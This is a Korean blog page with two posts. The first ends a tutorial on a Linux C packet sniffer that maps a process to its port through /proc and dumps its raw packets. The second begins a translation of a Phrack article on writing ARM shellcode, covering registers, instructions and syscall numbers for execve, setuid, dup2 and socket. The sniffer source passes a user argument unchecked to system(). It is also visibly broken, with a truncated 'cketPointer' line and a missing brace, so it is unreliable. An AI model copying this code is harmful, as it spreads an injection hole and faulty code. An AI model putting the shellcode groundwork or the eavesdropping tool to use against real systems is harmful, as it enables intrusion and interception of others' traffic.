
103                                 fputs(buf, fp);

104                         }

105                 printf(": ");

106                 sprintf(buf, ": ");

107                 fputs(buf, fp);

108

109                 // 아스키 문자 표시

110                 for (j = i; j < i + 16 && j < len; j++) {

111                         if ((buff[j] >= 0x20) && (buff[j] <= 0x7e)){

112                                 putchar(buff[j]);

113                                 sprintf(buf, "%c", buff[j]);

114                                 fputs(buf, fp);

115                         }

116                         else{

117                                 printf(".");

118                                 sprintf(buf, ".");

119                                 fputs(buf, fp);

120                         }

121                 }

122                 printf("\n");

123                 fputs("\n", fp);               

124         }                                      

125 }                                              

126                                         

127                                        

128 void tcp_ftoa(int flag, char *str)

129 {              

130         static char f[][3] = {"URG", "ACK", "PSH", "RST", "SYN", "FIN"}; //tcp플래그를 나타내는 문자

131         int length = 0;

132         u_int mask = 1 << 5;

133         int i;

134

135         for(i = 0;i<6;i++) {

136                 if (((flag << i) & mask) != 0)

137                 {

138                         strncat(str, f[i], 3);

139                         strncat(str, " ", 1);

140                 }

141                 else

142                 {

143                

144                 }

145         }      

146                

147         length = strlen(str);

148         str[length] = '\0';

149                        

150 }

151                        

152                                

153                                

154 void print_ip(struct ip *ip, FILE *fp)

155 {                      

156         char buf[BUFSIZE];

157         printf("Protocol: IP\n");

158         sprintf(buf, "Protocol: IP\n");

159         fputs(buf, fp);

160         printf("+-------------------------+--------+----------------+\n");

161         sprintf(buf, "+-------------------------+--------+----------------+\n");

162         fputs(buf, fp);        

163         printf("| Identifier:        %5u| TTL:%3u| Checksum: %5u|\n",

164                         ntohs(ip->ip_id), ip->ip_ttl, ntohs(ip->ip_sum));

165         sprintf(buf, "| Identifier:        %5u| TTL:%3u| Checksum: %5u|\n",

166                         ntohs(ip->ip_id), ip->ip_ttl, ntohs(ip->ip_sum));

167         fputs(buf, fp);

168         printf("+------------+------------+-------------------------+\n");

169         sprintf(buf, "+------------+------------+-------------------------+\n");

170         fputs(buf, fp);

171         printf("| Source IP Address:                 %15s|\n",

172                         inet_ntoa(*(struct in_addr *)&(ip->ip_src)));

173         sprintf(buf, "| Source IP Address:                 %15s|\n",

174                         inet_ntoa(*(struct in_addr *)&(ip->ip_src)));

175         fputs(buf, fp);

176         printf("+---------------------------------------------------+\n");

177         sprintf(buf, "+---------------------------------------------------+\n");

178         fputs(buf, fp);        

179         printf("| Destination IP Address:            %15s|\n",

180                         inet_ntoa(*(struct in_addr *)&(ip->ip_dst)));

181         sprintf(buf, "| Destination IP Address:            %15s|\n",

182                         inet_ntoa(*(struct in_addr *)&(ip->ip_dst)));

183         fputs(buf, fp);

184         printf("+---------------------------------------------------+\n");

185         sprintf(buf, "+---------------------------------------------------+\n");

186         fputs(buf, fp);

187 }

 

 

 

 

 

 

1) 함수 요약 설명

packetCapture : 소켓을 Ethernet 헤더부터 수신할 수 있는 옵션으로 오픈하고수신한 데이터를 각 헤더 별로 포인터 변수를 이용하여 분리합니다. Ip 헤더 포인터를 통해 ip를 체크하고, tcp 헤더 포인터를 통해 포트번호를 체크하여 print_ip, print_tcp, dump_packet 함수를 이용하여 각각의 헤더와 데이터 내용을 표준출력과 인자로 받은 파일포인터로 출력합니다. (파일명  :process_9553) – 숫자는 pid 나타냅니다.

 

- dump_packet : 16진수로 표현된 패킷의 데이터 버퍼의 내용을 ASCII 문자로 변환하여 표준출력과 인자로 받은 파일포인터로 출력합니다.

 

- tcp_ftoa : tcp 헤더 중에 제어 플래그 비트를 플래그 문자열로 변경합니다.

 

- print_ip : ip 구조체의 멤버변수를 표준출력과 파일 포인터로 출력합니다.

 

 

2) 소스 해설

1 : packetCapture함수는 포트번호와 수신한 패킷 데이터를 저장할 파일 포인터를 인자로 받습니다.

19 : 패킷의 Ethernet 헤더부터 수신 하기 위해 socket 함수에 SOCK_PACKET,  ETH_P_ALL옵션을 매개변수로 대입합니다.

25 : 오픈한 소켓을 통하여 데이터를 수신하여 buff에 저장합니다.

30 : Ethernet 헤더 데이터부터 읽기 위해 buff의 선두 주소와 packetPointer 포인터를 일치시킵니다.

32 : 현재 packetPointer 포인터 변수는 Ethernet 헤더 데이터를 가리키고 있기 때문에 ether_header 구조체 포인터로 캐스팅 하여ether_header 구조체 포인터인 eth 포인터 변수에 대입합니다.

33 : Ethernet 헤더 다음에 위치한 ip 헤더 데이터를 가리키도록 하기 위해 ether_header 구조체 크기만큼 packetPointer 포인터를 이동시킵니다.

36 : ethrnet 구조체 포인터인 eth의 타입이 ETHERTYPE_IP(IP타입)인지 확인한다. ip타입 이 외에 arp 타입인 경우도 있습니다.

37 : 현재 packetPointer 포인터 변수는 ip 헤더 데이터를 가리키고 있기 때문에 ip 구조체 포인터로 캐스팅하여 ip 구조체 포인터인 ip포인터 변수에 대입합니다.

39 : ip 헤더 다음에 위치한 tcp 헤더를 가리키도록 하기 위해 ip 헤더 길이만큼 포인터를 이동 시킵니다. Ip 헤더 길이는 ip 구조체의ip_hl 멤버 변수에 값을 4배 한 값입니다.

42 ~ 43 : ip 구조체 포인터인 ip의 프로토콜 타입이 TCP타입(IPPROTO_TCP)일 경우 현재 packetPointer 포인터 변수는 tcp 헤더 데이터를 가리키고 있기 때문에 tcphdr 구조체 포인터로 캐스팅하여 tcphdr 구조체 포인터인 tcp 포인터 변수에 대입합니다.

44 ~ 54 : tcphdr 구조체 포인터의 출발지 포트번호(th_sport)와 목적지 포트번호(th_dport)가 인자로 받은 모니터링 할 포트번호(portnum)와 일치하는지 확인합니다동일 포트번호를 담은 패킷 데이터이면 print_ip함수를 사용하여 ip헤더를 출력하고,print_tcp 함수를 사용하여 tcp헤더를 출력합니다. dump_packet 함수를 사용하여 수신받은 모든 버퍼의 내용을 16진수와 ASCII 값으로 표준출력과 파일 포인터로 출력합니다.

55 ~ 56 : ip 구조체 포인터인 ip의 프로토콜 타입이 UDP타입(IPPROTO_UDP)일 경우 현재 packetPointer 포인터 변수는 udp 헤더 데이터를 가리키고 있기 때문에 udphdr 구조체 포인터로 캐스팅하여 udphdr 구조체 포인터인 udp 포인터 변수에 대입합니다.

58 ~ 67 : udphdr 구조체 포인터의 출발지 포트번호(th_sport)와 목적지 포트번호(th_dport)가 인자로 받은 모니터링 할 포트번호(portnum)와 일치하는지 확인합니다동일 포트번호를 담은 패킷 데이터이면 print_ip함수를 사용하여 ip헤더를 출력하고,print_udp를 사용하여 udp헤더를 출력합니다. dump_packet 함수를 사용하여 수신받은 모든 버퍼의 내용을 16진수와 ASCII 값으로 표준출력과 파일 포인터로 출력합니다.

 

76행 : dump_packet 함수는 패킷 헤더와 데이터의 내용을 가리키고 있는 buff 포인터와 buff의 내용을 저장할 파일 포인터를 인자로 받습니다.

84 ~ 123행 : 16바이트를 간격으로 수신한 데이터 크기만큼 Ethernet 헤더부터 데이터 내용까지 16진수와 ASCII 문자로 표준출력과 인자로 받은 파일 포인터로 출력합니다.

 

128행 : tcp_ftoa 함수는 tcp 헤더의 제어 플래그 비트 값과 제어 플래그 문자열을 저장할 문자열 포인터를 인자로 받습니다.

130 : tcp 제어 플래그인 "URG", "ACK", "PSH", "RST", "SYN", "FIN" 문자열을 f배열에 저장합니다.

132 : Tcp 제어 플래그는 6비트로 표현되기 때문에 6번째 비트를 기준으로 AND 마스크할 변수를 정의합니다.

135 ~ 145행 : flag 변수를 0부터 5까지 왼쪽 쉬프트하여 mask 변수로 AND 마스크하면 어느 비트가 1로 세팅 되었는지 확인할 수 있습니다. 1로 세팅된 제어 플레그를 맵핑된 tcp플래그 문자열로 바꾸어 str 문자열 변수에 복사합니다.

 

154 : print_ip 함수는 ip 구조체 포인터 변수와 ip헤더의 내용을 저장할 파일 포인터 변수를 인자로 받습니다.

163 : ip헤더의 identifier, TTL, Checksum 내용을 ip 구조체의 멤버 변수를 통해 추출합니다각각의 데이터에는 ip구조체의 ip_id, ip_ttl, ip_sum 멤버 변수 값이 대입됩니다.

171 ~ 179행 : ip헤더의 출발지 ip, 목적지 ip 내용을 ip구조체의 멤버 변수를 통해 추출합니다각각의 데이터에는 ip구조체의 ip_src, ip_dst 멤버변수 값이 대입됩니다.

 

 

 

 

3. 맺음말

 

지금까지 /proc 디렉토리에 담긴 정보를 분석이용하여 특정 프로세스가 사용 중인 포트 번호를 추출하는 방법과 socket 시스템 콜을 이용하여 TCP/IP 헤더와 실제 데이터를 분석하는 방법에 대해 공부하고실제 구현하는 방법까지 알아보았습니다본 프로그램은 /proc 디렉토리의 프로세스 정보와 네트워크 정보만을 다루었지만 /proc 디렉토리에는 시스템에 관련된 거의 대부분의 정보를 가지고 있기 때문에 시스템 모니터링 프로그램이나 시스템 성능 분석 프로그램 등을 개발하는데 유용하게 사용될 수 있습니다.

본 문서에서는 이와 유사한 프로그램을 만들기 위한 제작 과정을 소개하기 위한 목적으로 작성되었기 때문에 기능이 미약하고 불안전할 수도 있습니다문서에서 설명한 프로그램에 스니핑 된 패킷들의 데이터를 프로토콜, IP 주소 별로 분류하거나 기타 통계 기능 등을 추가한다면 더욱 유용하게 사용할 수 있을 것으로 생각합니다.

 

 

 

 

----------- 전체 소스코드 -----------

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <fcntl.h>

#include <errno.h>

#include <ctype.h>

#include <string.h>

#include <netdb.h>

#include <dirent.h>

#include <sys/time.h>

#include <sys/socket.h>

#include <sys/stat.h>

#include <sys/types.h>

#include <net/ethernet.h>

#include <netinet/in_systm.h>

#include <netinet/in.h>

#define  __FAVOR_BSD

#include <netinet/ip.h>

#include <netinet/ip_icmp.h>

#include <netinet/tcp.h>

#include <netinet/udp.h>

#include <netinet/if_ether.h>

#include <arpa/inet.h>

#include <linux/sockios.h>

 

#define MAXSIZE 4096

#define BUFSIZE 128

 

 

void tcp_ftoa(int flag, char *str);

void print_ip(struct ip *ip, FILE *fp);

void print_tcp(struct tcphdr *tcp, FILE *fp);

void print_udp(struct udphdr *udp);

void dump_packet(unsigned char *buff, int len, FILE *fp);

int ProcParser(char *proc_file, char *proc_name);

int IsDigit(char *str);

int HexToDecimal(char *buffer);

int SockMapPort(char* ProcTcp, char* sockdevnum, unsigned short* processPortNum);

unsigned short FindPortNum(char* processID);

unsigned short FindProcInfo(char* process);

void packetCapture(unsigned short portnum, FILE *wfp);

void help(char *cmd);

 

int main(int argc, char **argv)

{

             int c;                   

             char data[BUFSIZE];

             unsigned short portnum;

             FILE *wfp;

 

             while ((c = getopt(argc, argv, "i:p:")) != EOF) {

                           switch (c) {

                                        case 'i':

                                                     portnum = FindProcInfo(argv[2]);

                                                     break;

                                        case 'p' :

                                                     portnum = FindProcInfo(argv[2]);

                                                     break;

                                        case 'h':              

                                                     help(argv[0]);

                                        default:

                                                     help(argv[0]);

                                                     exit(1);

                                                     break;

                           }

             }

 

             if(argc < 2) {

                           fprintf(stderr, "parameter errror!\n");

                           help(argv[0]);

                           exit(1);

             }

 

             sprintf(data, "process_%s", argv[2]);

             if((wfp = fopen(data, "wa"))==NULL) {

                           perror("file open error\n");

                           exit(0);

             }

 

             packetCapture(portnum, wfp);

             fclose(wfp);

             return 0;

}

 

void tcp_ftoa(int flag, char *str)

{

             static char f[][3] = {"URG", "ACK", "PSH", "RST", "SYN", "FIN"};

             int length = 0;

             u_int mask = 1 << 5;

             int i;

 

             for(i = 0;i<6;i++) {

                           if (((flag << i) & mask) != 0)

                           {

                                        strncat(str, f[i], 3);

                                        strncat(str, " ", 1);

                           }

             }

 

             length = strlen(str);

             str[length] = '\0';

 

}

 

 

void print_ip(struct ip *ip, FILE *fp)

{

             char buf[BUFSIZE];

             printf("Protocol: IP\n");

             sprintf(buf, "Protocol: IP\n");

             fputs(buf, fp);

printf("+-------------------------+--------+----------------+\n");

sprintf(buf, "+-------------------------+--------+----------------+\n");

             fputs(buf, fp);

             printf("| Identifier:        %5u| TTL:%3u| Checksum: %5u|\n",

                                        ntohs(ip->ip_id), ip->ip_ttl, ntohs(ip->ip_sum));

             sprintf(buf, "| Identifier:        %5u| TTL:%3u| Checksum: %5u|\n",

                                        ntohs(ip->ip_id), ip->ip_ttl, ntohs(ip->ip_sum));

             fputs(buf, fp);

printf("+------------+------------+-------------------------+\n");

sprintf(buf, "+------------+------------+-------------------------+\n");

             fputs(buf, fp);

             printf("| Source IP Address:                 %15s|\n",

                                        inet_ntoa(*(struct in_addr *)&(ip->ip_src)));

             sprintf(buf, "| Source IP Address:                 %15s|\n",

                                        inet_ntoa(*(struct in_addr *)&(ip->ip_src)));

             fputs(buf, fp);

printf("+---------------------------------------------------+\n");

sprintf(buf, "+---------------------------------------------------+\n");

             fputs(buf, fp);

             printf("| Destination IP Address:            %15s|\n",

                                        inet_ntoa(*(struct in_addr *)&(ip->ip_dst)));

             sprintf(buf, "| Destination IP Address:            %15s|\n",

                                        inet_ntoa(*(struct in_addr *)&(ip->ip_dst)));

             fputs(buf, fp);

printf("+---------------------------------------------------+\n");

sprintf(buf, "+---------------------------------------------------+\n");

             fputs(buf, fp);

}

 

void print_tcp(struct tcphdr *tcp, FILE *fp)

{

             char buf[BUFSIZE];

             char str[17];

 

             memset(str, 0, sizeof(str));

 

             printf("protocol: TCP\n");

             sprintf(buf, "protocol: TCP\n");

             fputs(buf, fp);

printf("+-------------------------+-------------------------+\n");

sprintf(buf, "+-------------------------+-------------------------+\n");

             fputs(buf, fp);

 

             printf("| Source Port:       %5u| Destination Port:  %5u|\n",

                                        ntohs(tcp->th_sport), ntohs(tcp->th_dport));

             sprintf(buf, "| Source Port:       %5u| Destination Port:  %5u|\n",

                                        ntohs(tcp->th_sport), ntohs(tcp->th_dport));

             fputs(buf, fp);

            

printf("+-------------------------+-------------------------+\n");

sprintf(buf, "+-------------------------+-------------------------+\n");

             fputs(buf, fp);

             printf("| Sequence Number:                        %10lu|\n",

                                        (u_long)ntohl(tcp->th_seq));

             sprintf(buf, "| Sequence Number:                        %10lu|\n",

                                        (u_long)ntohl(tcp->th_seq));

             fputs(buf, fp);

            

printf("+---------------------------------------------------+\n");

sprintf(buf, "+---------------------------------------------------+\n");

             fputs(buf, fp);

             tcp_ftoa(tcp->th_flags, str);

             printf("| Ack Number:   %10lu| Flag:         %10s|\n",

                                        (u_long)ntohl(tcp->th_ack), str);

             sprintf(buf, "| Ack Number:   %10lu| Flag:         %10s|\n",

                                        (u_long)ntohl(tcp->th_ack), str);

             fputs(buf, fp);

 

printf("+-------------------------+-------------------------+\n");

sprintf(buf, "+-------------------------+-------------------------+\n");

             fputs(buf, fp);

             printf("| Checksum:          %5u| Urgent Pointer:    %5u|\n",

                                        ntohs(tcp->th_sum), ntohs(tcp->th_urp));

             sprintf(buf, "| Checksum:          %5u| Urgent Pointer:    %5u|\n",

                                        ntohs(tcp->th_sum), ntohs(tcp->th_urp));

             fputs(buf, fp);

printf("+-------------------------+-------------------------+\n");

sprintf(buf, "+-------------------------+-------------------------+\n");

             fputs(buf, fp);

}

 

 

 

void print_udp(struct udphdr *udp)

{

             printf("Protocol: UDP\n");

printf("+-------------------------+-------------------------+\n");

             printf("|Source Port:        %5u| Dest Port:         %5u|\n",

                                        ntohs(udp->uh_sport), ntohs(udp->uh_dport));

printf("+-------------------------+-------------------------+\n");

             printf("|Length:             %5u| Ckecksum:          %5u|\n",

                                        ntohs(udp->uh_ulen), ntohs(udp->uh_sum));

printf("+-------------------------+-------------------------+\n");

}

 

void dump_packet(unsigned char *buff, int len, FILE *fp)

{

             int i, j; 

             char buf[BUFSIZE];

 

             printf("Packet Dump:\n"); 

             sprintf(buf, "Packet Dump\n");

             fputs(buf, fp);

             for (i = 0; i < len; i += 16) {

                           for (j = i; j < i + 16 && j < len; j++) {

                                        printf("%02x", buff[j]);

                                        sprintf(buf, "%02x", buff[j]);

                                        fputs(buf, fp);

 

                                        if (j % 2 == 1){

                                                     printf(" ");

                                                     sprintf(buf, " ");

                                                     fputs(buf, fp);

                                        }

                           }

 

                           if (j == len && len % 16 != 0)

                                        for (j = 0; j < 40 - (len % 16)*2.5; j++){

                                                     printf(" ");

                                                     sprintf(buf, " ");

                                                     fputs(buf, fp);

                                        }

                           printf(": ");

                           sprintf(buf, ": ");

                           fputs(buf, fp);

 

                           for (j = i; j < i + 16 && j < len; j++) {

                                        if ((buff[j] >= 0x20) && (buff[j] <= 0x7e)){

                                                     putchar(buff[j]);

                                                     sprintf(buf, "%c", buff[j]);

                                                     fputs(buf, fp);

                                        }

                                        else{

                                                     printf(".");

                                                     sprintf(buf, ".");

                                                     fputs(buf, fp);

                                        }

                           }

                           printf("\n");

                           fputs("\n", fp);

             }

}

 

void help(char *cmd)

{

             fprintf(stderr, "usage: %s [-i processid] [-p processname] \n", cmd);

}

 

void packetCapture(unsigned short portnum, FILE *wfp)

{

             struct ether_header *eth;

             struct ether_arp *arp;   

             struct ip *ip;           

             struct icmp *icmp;       

             struct tcphdr *tcp;      

             struct udphdr *udp;      

             int s;                    

             int len;                 

             int c;                   

             char buff[MAXSIZE];      

             char *packetPointer;     

             char *packetFirst;       

             char buf[BUFSIZE];

             int i;

             char data[BUFSIZE];

            

             if ((s = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL))) < 0) {

                           perror("socket");

                           exit(1);

             }

 

             while (1){

                           if ((len = read(s, buff, MAXSIZE)) < 0) {

                                        perror("read");

                                        exit(1);

                           }

                           packetPointer = packetFirst = buff;

 

                           eth = (struct ether_header *) packetPointer;

                           packetPointer = packetPointer + sizeof (struct ether_header);

                           printf("ether : %d\n", sizeof(struct ether_header));

 

                           if (ntohs(eth->ether_type) == ETHERTYPE_IP) {

                                        ip = (struct ip *) packetPointer;

                                        printf("ip : %d\n", sizeof(struct ip));

                                        packetPointer = packetPointer + ((int)(ip->ip_hl) << 2);

 

                                        switch (ip->ip_p) {

                                                     case IPPROTO_TCP:

                                                                  tcp = (struct tcphdr *) packetPointer;

                                                if((portnum == ntohs(tcp->th_sport))

|| (portnum == ntohs(tcp->th_dport))){

                                                     cketPointer = packetPointer + ((int)(tcp->th_off) << 2);

                                                                                print_ip(ip, wfp);

                                                                                print_tcp(tcp, wfp);

                                                                                dump_packet(packetFirst, len, wfp);

                                                                                printf("\n");

                                                                                sprintf(buf, "\n");

                                                                                fputs(buf, wfp);

                                                                                fflush(stdout);

                                                                  }

                                                                  break;

                                                     case IPPROTO_UDP:

                                                                  udp = (struct udphdr *) packetPointer;

                                                                  if((portnum == ntohs(udp->uh_sport))

|| (portnum == ntohs(udp->uh_dport))){

                                                                                print_ip(ip, wfp);

                                                                                print_udp(udp);

                                                                                dump_packet(packetFirst, len, wfp);

                                                                                printf("\n");

                                                                                sprintf(buf, "\n");

                                                                                fputs(buf, wfp);

                                                                                fflush(stdout);

                                                                  }

                                                                  break;

                                        }

                           }

             }

 

}

 

int ProcParser(char *proc_file, char *proc_name)

{

    FILE *fp;

    char buf[512] = {0x00,};

    int pid;

    char *pname;

 

    fp = fopen(proc_file, "r");

    if (fp == NULL)

    {

        perror("error : ");

        exit(0);

    }

 

    fgets(buf, 511, fp);

    pid = atoi(strtok(buf, " "));

    pname = (char*)strtok(NULL, " ");

 

    if(strncmp(pname, proc_name, strlen(proc_name)))

    {

                 return 0;

    }

    else

    {

                 return 1;

    }

    fclose(fp);

 

int IsDigit(char *str)

{

    int i;

    for (i = 0; i < strlen(str); i++)

    {

        if (isdigit(str[i])==0)

            return 0;

    }

    return 1;

}

 

int HexToDecimal(char *buffer)

{

             int count=0, decimal=0;

 

             for(count =0;count<4;count++)

             {

                           if(buffer[count]>='0' && buffer[count]<='9')

                           {

                                        decimal *= 16;

                                        decimal += buffer[count] - '0';

                           }

                           else if(buffer[count]>='A' && buffer[count]<='F')

                           {

                                        decimal *= 16;

                                        decimal += buffer[count] - 'A' + 10;

                           }

             }

 

             return decimal;

                          

}

 

int SockMapPort(char* ProcTcp, char* sockdevnum, unsigned short* processPortNum)

{

             DIR *directory;

             struct dirent *entry = NULL;

             char buffer[256];

             char *parsing;

             char hexPortNum[40];

             int culcount;

             int linecount;

             int find;

             FILE *fp;

 

             culcount = linecount = find = 0;

             fp = fopen(ProcTcp, "r");

             if (fp == NULL)

             {

                           perror("/proc/net/tcp(6) error");

                           exit(0);

             }

            

             linecount = 0;

             while(fgets(buffer,256, fp) != NULL)

             {

                           if(linecount == 0)

                           {

                                        linecount++;

                                        continue;

                           }

                           culcount = 0;

                           parsing = strtok(buffer, ": ");

                           while((parsing = strtok(NULL, ": ")) != NULL)

                           {

                                        if(culcount == 1)

                                        {

                                                     strcpy(hexPortNum, parsing);

                                        }

                                       

                                        if(!strncmp(parsing, sockdevnum, strlen(sockdevnum)))

                                        {

                                                     find = 1;

                                                     break;

                                        }

                                        else

                                        {

                                        }

                                        culcount++;

                           }

                           if(find) break;

             }

 

             if(find){

                           *processPortNum = HexToDecimal(hexPortNum);

                           return 1;

             }

             else

                           return 0;

}

 

unsigned short FindPortNum(char* processID)

{

             DIR *directory;

             struct dirent *entry = NULL;

             char procBuff[40];

             char sockBuff[40];

             char retBuff[40];

             char *sockdev;

             char *sockdevnum;

             char ProcTcp[20];

             int ret;

             unsigned short processPortNum;

 

 

             sprintf(procBuff,"/proc/%s/fd", processID);

 

        if ((directory = opendir(procBuff)) == NULL)

             {

                     perror("/proc opendir error");

                           exit(0);

        }

             while((entry = readdir(directory)) != NULL)

             {

                           if (strcmp(entry->d_name, ".") !=0 && strcmp(entry->d_name, "..") != 0

&& strcmp(entry->d_name, "0") != 0 && strcmp(entry->d_name, "1") !=0

&& strcmp(entry->d_name, "2") != 0)

                           {

                                        sprintf(sockBuff,"/proc/%s/fd/%s", processID, entry->d_name);

                                        readlink(sockBuff, retBuff, sizeof(retBuff));

                                        sockdev = strtok(retBuff, ":[");

                                        if(strcmp(sockdev, "socket"))

                                                     continue;

                                        sockdevnum = strtok(NULL, ":[]");

                                        break;

                           }

             }

 

             sprintf(ProcTcp, "/proc/net/tcp");

             ret = SockMapPort(ProcTcp, sockdevnum, &processPortNum);

             if(ret == 0)

             {

                           sprintf(ProcTcp, "/proc/net/tcp6");

                           SockMapPort(ProcTcp, sockdevnum, &processPortNum);

             }

 

             closedir(directory);

             return processPortNum;

}

 

unsigned short FindProcInfo(char* process)

{

    DIR *directory;

    struct dirent *entry = NULL;

    char proc_file[40];

    char proc_name[20];

    int processFlag = 0;

    unsigned short port;

 

    if (IsDigit(process))

    {

                 processFlag = 1;

    }

    else

    {

                 sprintf(proc_name, "(%s)", process);

    }

 

 

    if(processFlag == 0)

    {

                 system(process);

 

                 if ((directory = opendir("/proc")) == NULL)

                 {

                           perror("/proc opendir error");

                           exit(0);

                 }

 

                 while((entry = readdir(directory)) != NULL)

                 {

                           if (strcmp(entry->d_name, ".") !=0 && strcmp(entry->d_name, "..") != 0)

                           {

                               sprintf(proc_file,"/proc/%s/stat", entry->d_name);

                               if (access(proc_file, F_OK) != 0)

                               {

                                        continue;

                               }

 

                               if (IsDigit(entry->d_name))

                               {

                                        if(ProcParser(proc_file, proc_name))

                                        {

                                                     port = FindPortNum(entry->d_name);

                                   printf("processName : %s\nport : %d\n", process, port);

                                                     break;

                                        }

                               }

                               else

                               {

                               }

                           }

                 }

 

                 closedir(directory);

    }

    else

    {

                 port = FindPortNum(process);

                 printf("processID : %s\nport : %d\n", process, port);

    }

 

    return port;

}



'Neywork' 카테고리의 다른 글

SSL 통신 암호화 과정  (0) 2015.07.28
reverse connection cheat sheet  (0) 2015.04.17
Network vender Model default password  (0) 2014.01.02
윈도우8 애드훅(애드혹, AdHoc) 설정하기  (0) 2013.09.11
IPTIME 해킹 관련 내용 1  (0) 2012.07.17
Posted by k1rha
2014. 10. 7. 19:11

                             ==Phrack Inc.==


               Volume 0x0b, Issue 0x3a, Phile #0x0a of 0x0e


|=--------------=[ Developing StrongARM/Linux shellcode ]=---------------=|

|=-----------------------------------------------------------------------=|

|=--------------------=[ funkysh <funkysh@sm.pl> ]=----------------------=|


ARMS 소개 


이문서는 강력한 ARM 리눅스 쉘코드작성을 필요로 하는 정보이다.



ARM Architecture

32bit ARM 프로세서는 RISC 구조로 디자인 되어있다.

이의미는 이것은 CISC 보다 instruction을 줄일 수 있다.

줄어든 instruction 세트는 스피드에 최적화 된다. 

예를들어 파이프라이닝이나 hard-wired logic 에서 최적화된다.

또한 instruction 과 주소체제 방식은 모든것을 명확하게 한다.

ARM 은 load/store 구조인데, 이것은 오직 레즈스터에 의해서만 데이터처리가

가능하단 것을 의미한다. 메모리에 직접 데이터를 입출력하는 것은 불가능하다.

메모리 입출력은 load/sotre 의 multiple instructions 과 실행상태의 모든 instruction 로 가능하다. 

명맥하게 모든 instruction은 32비트의 길이를 가진다. (4바이트) 


ARM 은 16개의 32비트 레지스터로 구성되어 있다.이는 R0 ~ R15(pc) 까지 가지게 된다. 간략하게 말해서 13개의 '일반적인 목적' 을가지는 레지스터 r0 - r12 를 가진다.

( r0 - r7은 저장되지 않는 레지스터이고 이것은 32-bit 의 모든 프로세서안에 물리적 레지스터라는 것을 의미한다.

이것들은 특별하게 사용되지는 않는다. 그리고 그것은 자유롭게 일반적인 목적으로 사용될 수 있는 레지스터이다. 

반면에 3개의 특별한 목적의 레지스터가 있다. ( 엄밀히 말하면 15개의 레지스터는 모두 일반적인 레지스터이다) 


r13(sp) - stack pointer

r14(lr) - link register

r15(pc/psr) - program counter / status register


레지스터 r13 은 sp 로 알려저 있고 이는 종종 stack pointer 로 사용된다.

그리고 link register 는 함수나 서브루틴 에 사용된다. 


link register - r14 는 lr 로 불리며, 이는 리턴되는 주소값을 저장한다.

서브루틴 호출이 수행될때 BL instruction 은 r14에 return 주소를 셋팅 시킨다.

그리고 서브루틴에서 돌아올때 r14는 PC 에 다시 복사를 하여 되돌아온다. 


ARM에서의 stack 은 낮은 메모리방향으로 자란다. 그리고 스택포인터는 

마지막 아이템에 씌여지게 된다. 이것을 full desecending stack 이라고 부른다.

예를들어 0x41 과 0x42가 스택에 배치되는 것은 아래와 같다.


      memory address   stack value 


                      +------------+

          0xbffffdfc: | 0x00000041 |

                      +------------+

   sp ->  0xbffffdf8: | 0x00000042 |

                      +------------+




---[  Instruction set


 ARM 위에 작성됨에 따라 다른 RISC CPU들은 모두 고정된 길이의 instruction을 가지게 되었따. 이것은 또한 모든 instruction 은 상태 레지스터가 될수 있다는 것이다.

그래서 상위 4비트 (31-28)는 instruction 이 실행되는 동안 모두 특별한 상태로 사용된다.


Instruction 은 4가지의 class 로 나뉘어 질수 있다.

 

 - branch instructions

 - load / store instruction

 - data-processing instructions,

 - exception-generating instructions,



 1. Branch instructions

    -------------------

 분기 instruction 에는 2가지 종류가 있다.


 branch:            b  <24 bit signed offset>

 branch with link:  bl <24 bit signed offset>


branch with link 실행 하는것은 다음 instruction의 주소와 함께하는  'lr' 셋팅과 함께 출력된다. 



 2. Data-processing instructions

    ----------------------------

 데이터 처리 instrunction 은 일반적으로 3-주소체제 를 사용한다.

 

 < op code > < 목적지 > < operand 1 > < operand 2 >


< 목적지 > 는 항상 register 이다.  < operand 1 > 역시 r0~ r15 레지스터중 한개여야만한다. 그리고 < operand 2 > 레지스터 일수도 있지만, shift 된 레지스터나 즉시 적용되는 상수 값일수도 있다. 


 < 예시 >

  -----------------------------+----------------+--------------------+

              addition:   add  | add r1,r1,#65  | set r1 = r1 + 65   |

          substraction:   sub  | sub r1,r1,#65  | set r1 = r1 - 65   |

           logical AND:   and  | and r0,r1,r2   | set r0 = r1 AND r2 |

  logical exclusive OR:   eor  | eor r0,r1,#65  | set r0 = r1 XOR r2 |

            logical OR:   orr  | orr r0,r1,r2   | set r0 = r1 OR r2  |

                  move:   mov  | mov r2,r0      | set r2 = r0        |



 3. Load and store instructions

    ---------------------------

 메모리로부터 적재하는 레지스터 ldr rX , <address >

 예를들어 ldr, r0, [r1 ] 는 r0 와함께 r1의 1word 의 32 비트가 지정된다. 

또한 LDRb intruction 은 합리적으로 8 bit 만을 가져온다. 


  store register in memory:  str rX,  <address>     (store 32 bits)

                             strb rX, <address>    (store 8 bits)



ARM 은 multiple 레지스터의 sotreing / loading 역시 지원한다. 

이것은 최적화 관점에서 봤을때 매우 흥미로운 특징이다.

stm (store multiple registers in memory) 부터 살펴보면 아래와같다.


stm < base register > <stack type>(!), { register list }


 < base register > 은 어떠한 레지스터든 상관없다. 그러나 전형적으로 stack pointer 가 사용된다. 

예를들어 : stmfd sp!, {r0-r3, r6} 은 r0, r1, r2 ,r3 와 r6 에 stack의 값이 저장된다. ( full decending mode dptjsms stm 이후에 fd가 붙는다.) 

stack pointer는 r0 레지스터가 저장된 곳을 가르키게 된다. ( ! 때문 ) 

비슷하게 load of multiple register들도 같은 방식을 사용한다. : ldm 



 4. Exception-generating instructions 

    ---------------------------------


Software interrupt : swi < number > 는 system call로써 사용된다.


여기에 언급된 레지스터들은 완벽하지 않지만 다른 문서를 통해 더 많은것을 알아보길 바란다.



---[  Syscalls


 강력한 ARM 프로세서와 함꼐하는 리눅스에서는 syscall 기반은 0x900000로 옴겨졌다.

이것은 쉘코드를 작성하는데 좋은 움직임은 아니다. 그 이후로 우리는 instruction들의 opcode의 zero byte를 조절해야 한다.


예를들어 exit syscall 의 경우


swi 0x900001   [ 0xef900001 ]

가 되어야한다  ( 무슨말이지?)


여기에 쉘코드를 작성할때 유용한 시스템콜 리스트가 있다.  ( syscall의 return 값을 보통 r0에 저장된다)



       execve:

       ------- 

               r0 = const char *filename

               r1 = char *const argv[]

               r2 = char *const envp[]

      call number = 0x90000b

 


       setuid:

       ------- 

               r0 = uid_t uid

      call number = 0x900017



         dup2:

         ----- 

               r0 = int oldfd

               r1 = int newfd

      call number = 0x90003f



       socket:

       ------- 

               r0 = 1 (SYS_SOCKET)

               r1 = ptr to int domain, int type, int protocol

      call number = 0x900066 (socketcall)



         bind:

         ----- 

               r0 = 2 (SYS_BIND)

